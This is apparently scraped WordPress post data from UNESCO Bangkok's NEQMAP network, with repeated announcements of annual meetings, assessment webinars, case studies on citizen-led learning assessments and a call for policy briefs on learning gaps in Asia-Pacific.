The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

